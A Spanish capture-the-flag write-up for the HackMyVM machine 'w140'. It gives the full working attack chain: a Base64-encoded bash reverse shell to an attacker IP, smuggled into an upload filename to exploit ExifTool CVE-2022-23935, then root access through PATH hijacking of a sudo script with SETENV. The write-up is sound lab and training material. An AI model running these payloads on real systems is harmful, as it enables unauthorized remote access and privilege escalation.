cd ~/blog

~/writeups/hmv/034-w140.md

034 - w140

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
ExifTool Filename Command Injection RCE (CVE-2022-23935)Credential Exposure mediante un código QRPATH Hijacking en un script ejecutable como root con SETENV
hackmyvm.eu/machines/machine.php?vm=w140

~1 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 19:24 -03
Nmap scan report for 192.168.1.30
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 ff:fd:b2:0f:38:88:1a:44:c4:2b:64:2c:d2:97:f6:8d (RSA)
|   256 ca:50:54:f7:24:4e:a7:f1:06:46:e7:22:30:ec:95:b7 (ECDSA)
|_  256 09:68:c0:62:83:1e:f1:5d:cb:29:a6:5e:b4:72:aa:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: w140
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 13235]
/assets               (Status: 200) [Size: 1689]
/upload.php           (Status: 200) [Size: 3773]
/service.html         (Status: 200) [Size: 3417]
/css                  (Status: 200) [Size: 1345]
/manual               (Status: 200) [Size: 676]
/js                   (Status: 200) [Size: 1762]
...

Acceso inicial mediante ExifTool

service.html permite subir una imagen JPG y, al hacerlo, devuelve un informe generado con ExifTool, vulnerable a CVE-2022-23935. La vulnerabilidad produce Command Injection a través del nombre del archivo. Interceptamos la subida con Burp y abusamos del campo filename: la aplicación entrega ese nombre a una llamada vulnerable de ExifTool y un valor terminado en | se interpreta como una tubería, de modo que su contenido termina procesándose como una orden. Codificamos la reverse shell en Base64 para reducir los problemas de caracteres especiales dentro de la petición:

❯ echo "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMTIzNCAwPiYxCg==

E inyectamos el comando en el filename:

filename="echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMTIzNCAwPiYxCg==' | base64 -d | bash |"

Movimiento lateral a ghost

Obtenemos una shell. En /var/www hay un código QR que, al escanearlo, revela la contraseña del usuario ghost. Con ella obtenemos la primera flag y revisamos sudo -l:

ghost@w140:~$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140

Escalada de privilegios

Podemos ejecutar Benz-w140 como root y SETENV permite proporcionar un PATH controlado. Como el script invoca find por su nombre relativo, se produce un PATH Hijacking: el sistema resolverá primero nuestro binario si anteponemos un directorio escribible. Creamos un find malicioso:

ghost@w140:/tmp$ echo '#!/bin/bash' > find
ghost@w140:/tmp$ echo 'bash -p' >> find
ghost@w140:/tmp$ cat find
#!/bin/bash
bash -p

ghost@w140:/tmp$ chmod +x find

Anteponemos /tmp al PATH y ejecutamos el script como root:

ghost@w140:/tmp$ export PATH=/tmp:$PATH
ghost@w140:/tmp$ sudo PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /opt/Benz-w140

El export modifica el entorno de la shell actual, pero el paso determinante es suministrar PATH=... en la invocación autorizada por sudo. Gracias a SETENV, ese valor llega al proceso privilegiado y hace que /tmp/find se ejecute con UID 0. Obtenemos una shell de root y capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados